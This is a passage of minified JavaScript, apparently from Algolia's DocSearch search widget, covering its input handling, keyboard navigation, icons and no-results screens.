o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function sn(e){var t=e.props,n=e.refresh,r=e.store,o=ln(e,en);return{getEnvironmentProps:function(e){var n=e.inputElement,o=e.formElement,c=e.panelElement;function i(e){!r.getState().isOpen&&r.pendingRequests.isEmpty()||e.target===n||!1===[o,c].some((function(t){return n=t,r=e.target,n===r||n.contains(r);var n,r}))&&(r.dispatch("blur",null),t.debug||r.pendingRequests.cancelAll())}return an({onTouchStart:i,onMouseDown:i,onTouchMove:function(e){!1!==r.getState().isOpen&&n===t.environment.document.activeElement&&e.target!==n&&n.blur()}},ln(e,tn))},getRootProps:function(e){return an({role:"combobox","aria-expanded":r.getState().isOpen,"aria-haspopup":"listbox","aria-owns":r.getState().isOpen?"".concat(t.id,"-list"):void 0,"aria-labelledby":"".concat(t.id,"-label")},e)},getFormProps:function(e){e.inputElement;return an({action:"",noValidate:!0,role:"search",onSubmit:function(c){var i;c.preventDefault(),t.onSubmit(an({event:c,refresh:n,state:r.getState()},o)),r.dispatch("submit",null),null===(i=e.inputElement)||void 0===i||i.blur()},onReset:function(c){var i;c.preventDefault(),t.onReset(an({event:c,refresh:n,state:r.getState()},o)),r.dispatch("reset",null),null===(i=e.inputElement)||void 0===i||i.focus()}},ln(e,nn))},getLabelProps:function(e){return an({htmlFor:"".concat(t.id,"-input"),id:"".concat(t.id,"-label")},e)},getInputProps:function(e){var c;function i(e){(t.openOnFocus||Boolean(r.getState().query))&&$t(an({event:e,props:t,query:r.getState().completion||r.getState().query,refresh:n,store:r},o)),r.dispatch("focus",null)}var a=e||{},u=(a.inputElement,a.maxLength),l=void 0===u?512:u,s=ln(a,rn),f=st(r.getState()),p=function(e){return Boolean(e&&e.match(ft))}((null===(c=t.environment.navigator)||void 0===c?void 0:c.userAgent)||""),m=null!=f&&f.itemUrl&&!p?"go":"search";return an({"aria-autocomplete":"both","aria-activedescendant":r.getState().isOpen&&null!==r.getState().activeItemId?"".concat(t.id,"-item-").concat(r.getState().activeItemId):void 0,"aria-controls":r.getState().isOpen?"".concat(t.id,"-list"):void 0,"aria-labelledby":"".concat(t.id,"-label"),value:r.getState().completion||r.getState().query,id:"".concat(t.id,"-input"),autoComplete:"off",autoCorrect:"off",autoCapitalize:"off",enterKeyHint:m,spellCheck:"false",autoFocus:t.autoFocus,placeholder:t.placeholder,maxLength:l,type:"search",onChange:function(e){$t(an({event:e,props:t,query:e.currentTarget.value.slice(0,l),refresh:n,store:r},o))},onKeyDown:function(e){!function(e){var t=e.event,n=e.props,r=e.refresh,o=e.store,c=Xt(e,Qt);if("ArrowUp"===t.key||"ArrowDown"===t.key){var i=function(){var e=n.environment.document.getElementById("".concat(n.id,"-item-").concat(o.getState().activeItemId));e&&(e.scrollIntoViewIfNeeded?e.scrollIntoViewIfNeeded(!1):e.scrollIntoView(!1))},a=function(){var e=st(o.getState());if(null!==o.getState().activeItemId&&e){var n=e.item,i=e.itemInputValue,a=e.itemUrl,u=e.source;u.onActive(Gt({event:t,item:n,itemInputValue:i,itemUrl:a,refresh:r,source:u,state:o.getState()},c))}};t.preventDefault(),!1===o.getState().isOpen&&(n.openOnFocus||Boolean(o.getState().query))?$t(Gt({event:t,props:n,query:o.getState().query,refresh:r,store:o},c)).then((function(){o.dispatch(t.key,{nextActiveItemId:n.defaultActiveItemId}),a(),setTimeout(i,0)})):(o.dispatch(t.key,{}),a(),i())}else if("Escape"===t.key)t.preventDefault(),o.dispatch(t.key,null),o.pendingRequests.cancelAll();else if("Tab"===t.key)o.dispatch("blur",null),o.pendingRequests.cancelAll();else if("Enter"===t.key){if(null===o.getState().activeItemId||o.getState().collections.every((function(e){return 0===e.items.length})))return void(n.debug||o.pendingRequests.cancelAll());t.preventDefault();var u=st(o.getState()),l=u.item,s=u.itemInputValue,f=u.itemUrl,p=u.source;if(t.metaKey||t.ctrlKey)void 0!==f&&(p.onSelect(Gt({event:t,item:l,itemInputValue:s,itemUrl:f,refresh:r,source:p,state:o.getState()},c)),n.navigator.navigateNewTab({itemUrl:f,item:l,state:o.getState()}));else if(t.shiftKey)void 0!==f&&(p.onSelect(Gt({event:t,item:l,itemInputValue:s,itemUrl:f,refresh:r,source:p,state:o.getState()},c)),n.navigator.navigateNewWindow({itemUrl:f,item:l,state:o.getState()}));else if(t.altKey);else{if(void 0!==f)return p.onSelect(Gt({event:t,item:l,itemInputValue:s,itemUrl:f,refresh:r,source:p,state:o.getState()},c)),void n.navigator.navigate({itemUrl:f,item:l,state:o.getState()});$t(Gt({event:t,nextState:{isOpen:!1},props:n,query:s,refresh:r,store:o},c)).then((function(){p.onSelect(Gt({event:t,item:l,itemInputValue:s,itemUrl:f,refresh:r,source:p,state:o.getState()},c))}))}}}(an({event:e,props:t,refresh:n,store:r},o))},onFocus:i,onBlur:tt,onClick:function(n){e.inputElement!==t.environment.document.activeElement||r.getState().isOpen||i(n)}},s)},getPanelProps:function(e){return an({onMouseDown:function(e){e.preventDefault()},onMouseLeave:function(){r.dispatch("mouseleave",null)}},e)},getListProps:function(e){return an({role:"listbox","aria-labelledby":"".concat(t.id,"-label"),id:"".concat(t.id,"-list")},e)},getItemProps:function(e){var c=e.item,i=e.source,a=ln(e,on);return an({id:"".concat(t.id,"-item-").concat(c.__autocomplete_id),role:"option","aria-selected":r.getState().activeItemId===c.__autocomplete_id,onMouseMove:function(e){if(c.__autocomplete_id!==r.getState().activeItemId){r.dispatch("mousemove",c.__autocomplete_id);var t=st(r.getState());if(null!==r.getState().activeItemId&&t){var i=t.item,a=t.itemInputValue,u=t.itemUrl,l=t.source;l.onActive(an({event:e,item:i,itemInputValue:a,itemUrl:u,refresh:n,source:l,state:r.getState()},o))}}},onMouseDown:function(e){e.preventDefault()},onClick:function(e){var a=i.getItemInputValue({item:c,state:r.getState()}),u=i.getItemUrl({item:c,state:r.getState()});(u?Promise.resolve():$t(an({event:e,nextState:{isOpen:!1},props:t,query:a,refresh:n,store:r},o))).then((function(){i.onSelect(an({event:e,item:c,itemInputValue:a,itemUrl:u,refresh:n,source:i,state:r.getState()},o))}))}},a)}}}function fn(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function pn(e){for(var t=1;t0},reshape:function(e){return e.sources}},e),{},{id:null!==(n=e.id)&&void 0!==n?n:"autocomplete-".concat(Xe++),plugins:o,initialState:wt({activeItemId:null,query:"",completion:null,collections:[],isOpen:!1,status:"idle",context:{}},e.initialState),onStateChange:function(t){var n;null===(n=e.onStateChange)||void 0===n||n.call(e,t),o.forEach((function(e){var n;return null===(n=e.onStateChange)||void 0===n?void 0:n.call(e,t)}))},onSubmit:function(t){var n;null===(n=e.onSubmit)||void 0===n||n.call(e,t),o.forEach((function(e){var n;return null===(n=e.onSubmit)||void 0===n?void 0:n.call(e,t)}))},onReset:function(t){var n;null===(n=e.onReset)||void 0===n||n.call(e,t),o.forEach((function(e){var n;return null===(n=e.onReset)||void 0===n?void 0:n.call(e,t)}))},getSources:function(n){return Promise.all([].concat(Ot(o.map((function(e){return e.getSources}))),[e.getSources]).filter(Boolean).map((function(e){return lt(e,n)}))).then((function(e){return Ze(e)})).then((function(e){return e.map((function(e){return wt(wt({},e),{},{onSelect:function(n){e.onSelect(n),t.forEach((function(e){var t;return null===(t=e.onSelect)||void 0===t?void 0:t.call(e,n)}))},onActive:function(n){e.onActive(n),t.forEach((function(e){var t;return null===(t=e.onActive)||void 0===t?void 0:t.call(e,n)}))}})}))}))},navigator:wt({navigate:function(e){var t=e.itemUrl;r.location.assign(t)},navigateNewTab:function(e){var t=e.itemUrl,n=r.open(t,"_blank","noopener");null==n||n.focus()},navigateNewWindow:function(e){var t=e.itemUrl;r.open(t,"_blank","noopener")}},e.navigator)})}(e,t),r=yt(bn,n,(function(e){var t=e.prevState,r=e.state;n.onStateChange(On({prevState:t,state:r,refresh:i},o))})),o=function(e){var t=e.store;return{setActiveItemId:function(e){t.dispatch("setActiveItemId",e)},setQuery:function(e){t.dispatch("setQuery",e)},setCollections:function(e){var n=0,r=e.map((function(e){return bt(bt({},e),{},{items:Ze(e.items).map((function(e){return bt(bt({},e),{},{__autocomplete_id:n++})}))})}));t.dispatch("setCollections",r)},setIsOpen:function(e){t.dispatch("setIsOpen",e)},setStatus:function(e){t.dispatch("setStatus",e)},setContext:function(e){t.dispatch("setContext",e)}}}({store:r}),c=sn(On({props:n,refresh:i,store:r},o));function i(){return $t(On({event:new Event("input"),nextState:{isOpen:r.getState().isOpen},props:n,query:r.getState().query,refresh:i,store:r},o))}return n.plugins.forEach((function(e){var n;return null===(n=e.subscribe)||void 0===n?void 0:n.call(e,On(On({},o),{},{refresh:i,onSelect:function(e){t.push({onSelect:e})},onActive:function(e){t.push({onActive:e})}}))})),function(e){var t,n,r=e.metadata,o=e.environment;if(null===(t=o.navigator)||void 0===t||null===(n=t.userAgent)||void 0===n?void 0:n.includes("Algolia Crawler")){var c=o.document.createElement("meta"),i=o.document.querySelector("head");c.name="algolia:metadata",setTimeout((function(){c.content=JSON.stringify(r),i.appendChild(c)}),0)}}({metadata:dn({plugins:n.plugins,options:e}),environment:n.environment}),On(On({refresh:i},c),o)}function wn(e){var t=e.translations,n=(void 0===t?{}:t).searchByText,r=void 0===n?"Search by":n;return Be.createElement("a",{href:"https://www.algolia.com/ref/docsearch/?utm_source=".concat(window.location.hostname,"&utm_medium=referral&utm_content=powered_by&utm_campaign=docsearch"),target:"_blank",rel:"noopener noreferrer"},Be.createElement("span",{className:"DocSearch-Label"},r),Be.createElement("svg",{width:"77",height:"19","aria-label":"Algolia",role:"img"},Be.createElement("path",{d:"M2.5067 0h14.0245c1.384.001 2.5058 1.1205 2.5068 2.5017V16.5c-.0014 1.3808-1.1232 2.4995-2.5068 2.5H2.5067C1.1232 18.9995.0014 17.8808 0 16.5V2.4958A2.495 2.495 0 01.735.7294 2.505 2.505 0 012.5068 0zM37.95 15.0695c-3.7068.0168-3.7068-2.986-3.7068-3.4634L34.2372.3576 36.498 0v11.1794c0 .2715 0 1.9889 1.452 1.994v1.8961zm-9.1666-1.8388c.694 0 1.2086-.0397 1.5678-.1088v-2.2934a5.3639 5.3639 0 00-1.3303-.1679 4.8283 4.8283 0 00-.758.0582 2.2845 2.2845 0 00-.688.2024c-.2029.0979-.371.2362-.4919.4142-.1268.1788-.185.2826-.185.5533 0 .5297.185.8359.5205 1.0375.3355.2016.7928.3053 1.365.3053v-.0008zm-.1969-8.1817c.7463 0 1.3768.092 1.8856.2767.5088.1838.9195.4428 1.2204.7717.3068.334.5147.7777.6423 1.251.1327.4723.196.991.196 1.5603v5.798c-.5235.1036-1.05.192-1.5787.2649-.7048.1037-1.4976.156-2.3774.156-.5832 0-1.1215-.0582-1.6016-.167a3.385 3.385 0 01-1.2432-.5364 2.6034 2.6034 0 01-.8037-.9565c-.191-.3922-.29-.9447-.29-1.5208 0-.5533.11-.905.3246-1.2863a2.7351 2.7351 0 01.8849-.9329c.376-.242.8029-.415 1.2948-.5187a7.4517 7.4517 0 011.5381-.156 7.1162 7.1162 0 011.6667.2024V8.886c0-.259-.0296-.5061-.093-.7372a1.5847 1.5847 0 00-.3245-.6158 1.5079 1.5079 0 00-.6119-.4158 2.6788 2.6788 0 00-.966-.173c-.5206 0-.9948.0634-1.4283.1384a6.5481 6.5481 0 00-1.065.259l-.2712-1.849c.2831-.0986.7048-.1964 1.2491-.2943a9.2979 9.2979 0 011.752-.1501v.0008zm44.6597 8.1193c.6947 0 1.2086-.0405 1.567-.1097v-2.2942a5.3743 5.3743 0 00-1.3303-.1679c-.2485 0-.503.0177-.7573.0582a2.2853 2.2853 0 00-.688.2024 1.2333 1.2333 0 00-.4918.4142c-.1268.1788-.1843.2826-.1843.5533 0 .5297.1843.8359.5198 1.0375.3414.2066.7927.3053 1.365.3053v.0009zm-.191-8.1767c.7463 0 1.3768.0912 1.8856.2759.5087.1847.9195.4436 1.2204.7717.3.329.5147.7786.6414 1.251a5.7248 5.7248 0 01.197 1.562v5.7972c-.3466.0742-.874.1602-1.5788.2648-.7049.1038-1.4976.1552-2.3774.1552-.5832 0-1.1215-.0573-1.6016-.167a3.385 3.385 0 01-1.2432-.5356 2.6034 2.6034 0 01-.8038-.9565c-.191-.3922-.2898-.9447-.2898-1.5216 0-.5533.1098-.905.3245-1.2854a2.7373 2.7373 0 01.8849-.9338c.376-.2412.8029-.4141 1.2947-.5178a7.4545 7.4545 0 012.325-.1097c.2781.0287.5672.081.879.156v-.3686a2.7781 2.7781 0 00-.092-.738 1.5788 1.5788 0 00-.3246-.6166 1.5079 1.5079 0 00-.612-.415 2.6797 2.6797 0 00-.966-.1729c-.5205 0-.9947.0633-1.4282.1384a6.5608 6.5608 0 00-1.065.259l-.2712-1.8498c.283-.0979.7048-.1957 1.2491-.2935a9.8597 9.8597 0 011.752-.1494zm-6.79-1.072c-.7576.001-1.373-.6103-1.3759-1.3664 0-.755.6128-1.3664 1.376-1.3664.764 0 1.3775.6115 1.3775 1.3664s-.6195 1.3664-1.3776 1.3664zm1.1393 11.1507h-2.2726V5.3409l2.2734-.3568v10.0845l-.0008.0017zm-3.984 0c-3.707.0168-3.707-2.986-3.707-3.4642L59.7069.3576 61.9685 0v11.1794c0 .2715 0 1.9889 1.452 1.994V15.0703zm-7.3512-4.979c0-.975-.2138-1.7873-.6305-2.3516-.4167-.571-.9998-.852-1.747-.852-.7454 0-1.3302.281-1.7452.852-.4166.5702-.6195 1.3765-.6195 2.3516 0 .9851.208 1.6473.6254 2.2183.4158.576.9998.8587 1.7461.8587.7454 0 1.3303-.2885 1.747-.8595.4158-.5761.6237-1.2315.6237-2.2184v.0009zm2.3132-.006c0 .7609-.1099 1.3361-.3356 1.9654a4.654 4.654 0 01-.9533 1.6076A4.214 4.214 0 0155.613 14.69c-.579.2412-1.4697.3795-1.9143.3795-.4462-.005-1.3303-.1324-1.9033-.3795a4.307 4.307 0 01-1.474-1.0316c-.4115-.4445-.7293-.9801-.9609-1.6076a5.3423 5.3423 0 01-.3465-1.9653c0-.7608.104-1.493.3356-2.1155a4.683 4.683 0 01.9719-1.5958 4.3383 4.3383 0 011.479-1.0257c.5739-.242 1.2043-.3567 1.8864-.3567.6829 0 1.3125.1197 1.8906.3567a4.1245 4.1245 0 011.4816 1.0257 4.7587 4.7587 0 01.9592 1.5958c.2426.6225.3643 1.3547.3643 2.1155zm-17.0198 0c0 .9448.208 1.9932.6238 2.431.4166.4386.955.6579 1.6142.6579.3584 0 .6998-.0523 1.0176-.1502.3186-.0978.5721-.2134.775-.3517V7.0784a8.8706 8.8706 0 00-1.4926-.1906c-.8206-.0236-1.4452.312-1.8847.8468-.4335.5365-.6533 1.476-.6533 2.3516v-.0008zm6.2863 4.4485c0 1.5385-.3938 2.662-1.1866 3.3773-.791.7136-2.0005 1.0712-3.6308 1.0712-.5958 0-1.834-.1156-2.8228-.334l.3643-1.7865c.8282.173 1.9202.2193 2.4932.2193.9077 0 1.555-.1847 1.943-.5533.388-.3686.578-.916.578-1.643v-.3687a6.8289 6.8289 0 01-.8848.3349c-.3634.1096-.786.167-1.261.167-.6246 0-1.1917-.0979-1.7055-.2944a3.5554 3.5554 0 01-1.3244-.8645c-.3642-.3796-.6541-.8579-.8561-1.4289-.2028-.571-.3068-1.59-.3068-2.339 0-.7034.1099-1.5856.3245-2.1735.2198-.5871.5316-1.0949.9542-1.515.4167-.42.9255-.743 1.5213-.98a5.5923 5.5923 0 012.052-.3855c.7353 0 1.4114.092 2.0707.2024.6592.1088 1.2204.2236 1.6776.35v8.945-.0008zM11.5026 4.2418v-.6511c-.0005-.4553-.3704-.8241-.8266-.8241H8.749c-.4561 0-.826.3688-.8265.824v.669c0 .0742.0693.1264.1445.1096a6.0346 6.0346 0 011.6768-.2362 6.125 6.125 0 011.6202.2185.1116.1116 0 00.1386-.1097zm-5.2806.852l-.3296-.3282a.8266.8266 0 00-1.168 0l-.393.3922a.8199.8199 0 000 1.164l.3237.323c.0524.0515.1268.0397.1733-.0117.191-.259.3989-.507.6305-.7372.2374-.2362.48-.4437.7462-.6335.0575-.0354.0634-.1155.017-.1687zm3.5159 2.069v2.818c0 .081.0879.1392.1622.0987l2.5102-1.2964c.0574-.0287.0752-.0987.0464-.1552a3.1237 3.1237 0 00-2.603-1.574c-.0575 0-.115.0456-.115.1097l-.0008-.0009zm.0008 6.789c-2.0933.0005-3.7915-1.6912-3.7947-3.7804C5.9468 8.0821 7.6452 6.39 9.7387 6.391c2.0932-.0005 3.7911 1.6914 3.794 3.7804a3.7783 3.7783 0 01-1.1124 2.675 3.7936 3.7936 0 01-2.6824 1.1054h.0008zM9.738 4.8002c-1.9218 0-3.6975 1.0232-4.6584 2.6841a5.359 5.359 0 000 5.3683c.9609 1.661 2.7366 2.6841 4.6584 2.6841a5.3891 5.3891 0 003.8073-1.5725 5.3675 5.3675 0 001.578-3.7987 5.3574 5.3574 0 00-1.5771-3.797A5.379 5.379 0 009.7387 4.801l-.0008-.0008z",fill:"currentColor",fillRule:"evenodd"})))}function jn(e){return Be.createElement("svg",{width:"15",height:"15","aria-label":e.ariaLabel,role:"img"},Be.createElement("g",{fill:"none",stroke:"currentColor",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:"1.2"},e.children))}function Pn(e){var t=e.translations,n=void 0===t?{}:t,r=n.selectText,o=void 0===r?"to select":r,c=n.selectKeyAriaLabel,i=void 0===c?"Enter key":c,a=n.navigateText,u=void 0===a?"to navigate":a,l=n.navigateUpKeyAriaLabel,s=void 0===l?"Arrow up":l,f=n.navigateDownKeyAriaLabel,p=void 0===f?"Arrow down":f,m=n.closeText,d=void 0===m?"to close":m,h=n.closeKeyAriaLabel,v=void 0===h?"Escape key":h,y=n.searchByText,_=void 0===y?"Search by":y;return Be.createElement(Be.Fragment,null,Be.createElement("div",{className:"DocSearch-Logo"},Be.createElement(wn,{translations:{searchByText:_}})),Be.createElement("ul",{className:"DocSearch-Commands"},Be.createElement("li",null,Be.createElement("kbd",{className:"DocSearch-Commands-Key"},Be.createElement(jn,{ariaLabel:i},Be.createElement("path",{d:"M12 3.53088v3c0 1-1 2-2 2H4M7 11.53088l-3-3 3-3"}))),Be.createElement("span",{className:"DocSearch-Label"},o)),Be.createElement("li",null,Be.createElement("kbd",{className:"DocSearch-Commands-Key"},Be.createElement(jn,{ariaLabel:p},Be.createElement("path",{d:"M7.5 3.5v8M10.5 8.5l-3 3-3-3"}))),Be.createElement("kbd",{className:"DocSearch-Commands-Key"},Be.createElement(jn,{ariaLabel:s},Be.createElement("path",{d:"M7.5 11.5v-8M10.5 6.5l-3-3-3 3"}))),Be.createElement("span",{className:"DocSearch-Label"},u)),Be.createElement("li",null,Be.createElement("kbd",{className:"DocSearch-Commands-Key"},Be.createElement(jn,{ariaLabel:v},Be.createElement("path",{d:"M13.6167 8.936c-.1065.3583-.6883.962-1.4875.962-.7993 0-1.653-.9165-1.653-2.1258v-.5678c0-1.2548.7896-2.1016 1.653-2.1016.8634 0 1.3601.4778 1.4875 1.0724M9 6c-.1352-.4735-.7506-.9219-1.46-.8972-.7092.0246-1.344.57-1.344 1.2166s.4198.8812 1.3445.9805C8.465 7.3992 8.968 7.9337 9 8.5c.032.5663-.454 1.398-1.4595 1.398C6.6593 9.898 6 9 5.963 8.4851m-1.4748.5368c-.2635.5941-.8099.876-1.5443.876s-1.7073-.6248-1.7073-2.204v-.4603c0-1.0416.721-2.131 1.7073-2.131.9864 0 1.6425 1.031 1.5443 2.2492h-2.956"}))),Be.createElement("span",{className:"DocSearch-Label"},d))))}function In(e){var t=e.hit,n=e.children;return Be.createElement("a",{href:t.url},n)}function kn(){return Be.createElement("svg",{viewBox:"0 0 38 38",stroke:"currentColor",strokeOpacity:".5"},Be.createElement("g",{fill:"none",fillRule:"evenodd"},Be.createElement("g",{transform:"translate(1 1)",strokeWidth:"2"},Be.createElement("circle",{strokeOpacity:".3",cx:"18",cy:"18",r:"18"}),Be.createElement("path",{d:"M36 18c0-9.94-8.06-18-18-18"},Be.createElement("animateTransform",{attributeName:"transform",type:"rotate",from:"0 18 18",to:"360 18 18",dur:"1s",repeatCount:"indefinite"})))))}function Dn(){return Be.createElement("svg",{width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("g",{stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"},Be.createElement("path",{d:"M3.18 6.6a8.23 8.23 0 1112.93 9.94h0a8.23 8.23 0 01-11.63 0"}),Be.createElement("path",{d:"M6.44 7.25H2.55V3.36M10.45 6v5.6M10.45 11.6L13 13"})))}function Cn(){return Be.createElement("svg",{width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("path",{d:"M10 10l5.09-5.09L10 10l5.09 5.09L10 10zm0 0L4.91 4.91 10 10l-5.09 5.09L10 10z",stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"}))}function An(){return Be.createElement("svg",{className:"DocSearch-Hit-Select-Icon",width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("g",{stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"},Be.createElement("path",{d:"M18 3v4c0 2-2 4-4 4H2"}),Be.createElement("path",{d:"M8 17l-6-6 6-6"})))}var xn=function(){return Be.createElement("svg",{width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("path",{d:"M17 6v12c0 .52-.2 1-1 1H4c-.7 0-1-.33-1-1V2c0-.55.42-1 1-1h8l5 5zM14 8h-3.13c-.51 0-.87-.34-.87-.87V4",stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinejoin:"round"}))};function Nn(e){switch(e.type){case"lvl1":return Be.createElement(xn,null);case"content":return Be.createElement(Tn,null);default:return Be.createElement(Rn,null)}}function Rn(){return Be.createElement("svg",{width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("path",{d:"M13 13h4-4V8H7v5h6v4-4H7V8H3h4V3v5h6V3v5h4-4v5zm-6 0v4-4H3h4z",stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"}))}function Tn(){return Be.createElement("svg",{width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("path",{d:"M17 5H3h14zm0 5H3h14zm0 5H3h14z",stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinejoin:"round"}))}function Ln(){return Be.createElement("svg",{width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("path",{d:"M10 14.2L5 17l1-5.6-4-4 5.5-.7 2.5-5 2.5 5 5.6.8-4 4 .9 5.5z",stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinejoin:"round"}))}function qn(){return Be.createElement("svg",{width:"40",height:"40",viewBox:"0 0 20 20",fill:"none",fillRule:"evenodd",stroke:"currentColor",strokeLinecap:"round",strokeLinejoin:"round"},Be.createElement("path",{d:"M19 4.8a16 16 0 00-2-1.2m-3.3-1.2A16 16 0 001.1 4.7M16.7 8a12 12 0 00-2.8-1.4M10 6a12 12 0 00-6.7 2M12.3 14.7a4 4 0 00-4.5 0M14.5 11.4A8 8 0 0010 10M3 16L18 2M10 18h0"}))}function Mn(){return Be.createElement("svg",{width:"40",height:"40",viewBox:"0 0 20 20",fill:"none",fillRule:"evenodd",stroke:"currentColor",strokeLinecap:"round",strokeLinejoin:"round"},Be.createElement("path",{d:"M15.5 4.8c2 3 1.7 7-1 9.7h0l4.3 4.3-4.3-4.3a7.8 7.8 0 01-9.8 1m-2.2-2.2A7.8 7.8 0 0113.2 2.4M2 18L18 2"}))}function Hn(e){var t=e.translations,n=void 0===t?{}:t,r=n.titleText,o=void 0===r?"Unable to fetch results":r,c=n.helpText,i=void 0===c?"You might want to check your network connection.":c;return Be.createElement("div",{className:"DocSearch-ErrorScreen"},Be.createElement("div",{className:"DocSearch-Screen-Icon"},Be.createElement(qn,null)),Be.createElement("p",{className:"DocSearch-Title"},o),Be.createElement("p",{className:"DocSearch-Help"},i))}var Un=["translations"];function Fn(e){return function(e){if(Array.isArray(e))return Bn(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return Bn(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Bn(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Bn(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function zn(e){var t=e.translations,n=void 0===t?{}:t,r=Vn(e,Un),o=n.noResultsText,c=void 0===o?"No results for":o,i=n.suggestedQueryText,a=void 0===i?"Try searching for":i,u=n.reportMissingResultsText,l=void 0===u?"Believe this query should return results?":u,s=n.reportMissingResultsLinkText,f=void 0===s?"Let us know.":s,p=r.state.context.searchSuggestions;return Be.createElement("div",{className:"DocSearch-NoResults"},Be.createElement("div",{className:"DocSearch-Screen-Icon"},Be.createElement(Mn,null)),Be.createElement("p",{className:"DocSearch-Title"},c,' "',Be.createElement("strong",null,r.state.query),'"'),p&&p.length>0&&Be.createElement("div",{className:"DocSearch-NoResults-Prefill-List"},Be.createElement("p",{className:"DocSearch-Help"},a,":"),Be.createElement("ul",null,p.slice(0,3).reduce((function(e,t){return[].concat(Fn(e),[Be.createElement("li",{key:t},Be.createElement("button",{className:"DocSearch-Prefill",key:t,type:"button",onClick:function(){r.setQuery(t.toLowerCase()+" "),r.refresh(),r.inputRef.current.focus()}},t))])}),[]))),r.getMissingResultsUrl&&Be.createElement("p",{className:"DocSearch-Help"},"".concat(l," "),Be.createElement("a",{href:r.getMissingResultsUrl({query:r.state.query}),target:"_blank",rel:"noopener noreferrer"},f)))}var Wn=["hit","attribute","tagName"];function Kn(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Jn(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function Yn(e,t){return t.split(".").reduce((function(e,t){return null!=e&&e[t]?e[t]:null}),e)}function Gn(e){var t=e.hit,n=e.attribute,r=e.tagName;return g(void 0===r?"span":r,Jn(Jn({},Qn(e,Wn)),{},{dangerouslySetInnerHTML:{__html:Yn(t,"_snippetResult.".concat(n,".value"))||Yn(t,n)}}))}function Zn(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,c=[],i=!0,a=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(c.push(r.value),!t||c.length!==t);i=!0);}catch(e){a=!0,o=e}finally{try{i||null==n.return||n.return()}finally{if(a)throw o}}return c}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Xn(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Xn(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Xn(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n|<\/mark>)/g,ar=RegExp(ir.source);function ur(e){var t,n,r,o,c,i=e;if(!i.__docsearch_parent&&!e._highlightResult)return e.hierarchy.lvl0;var a=((i.__docsearch_parent?null===(t=i.__docsearch_parent)||void 0===t||null===(n=t._highlightResult)||void 0===n||null===(r=n.hierarchy)||void 0===r?void 0:r.lvl0:null===(o=e._highlightResult)||void 0===o||null===(c=o.hierarchy)||void 0===c?void 0:c.lvl0)||{}).value;return a&&ar.test(a)?a.replace(ir,""):a}function lr(){return lr=Object.assign||function(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function dr(e){var t=e.translations,n=void 0===t?{}:t,r=mr(e,fr),o=n.recentSearchesTitle,c=void 0===o?"Recent":o,i=n.noRecentSearchesText,a=void 0===i?"No recent searches":i,u=n.saveRecentSearchButtonTitle,l=void 0===u?"Save this search":u,s=n.removeRecentSearchButtonTitle,f=void 0===s?"Remove this search from history":s,p=n.favoriteSearchesTitle,m=void 0===p?"Favorite":p,d=n.removeFavoriteSearchButtonTitle,h=void 0===d?"Remove this search from 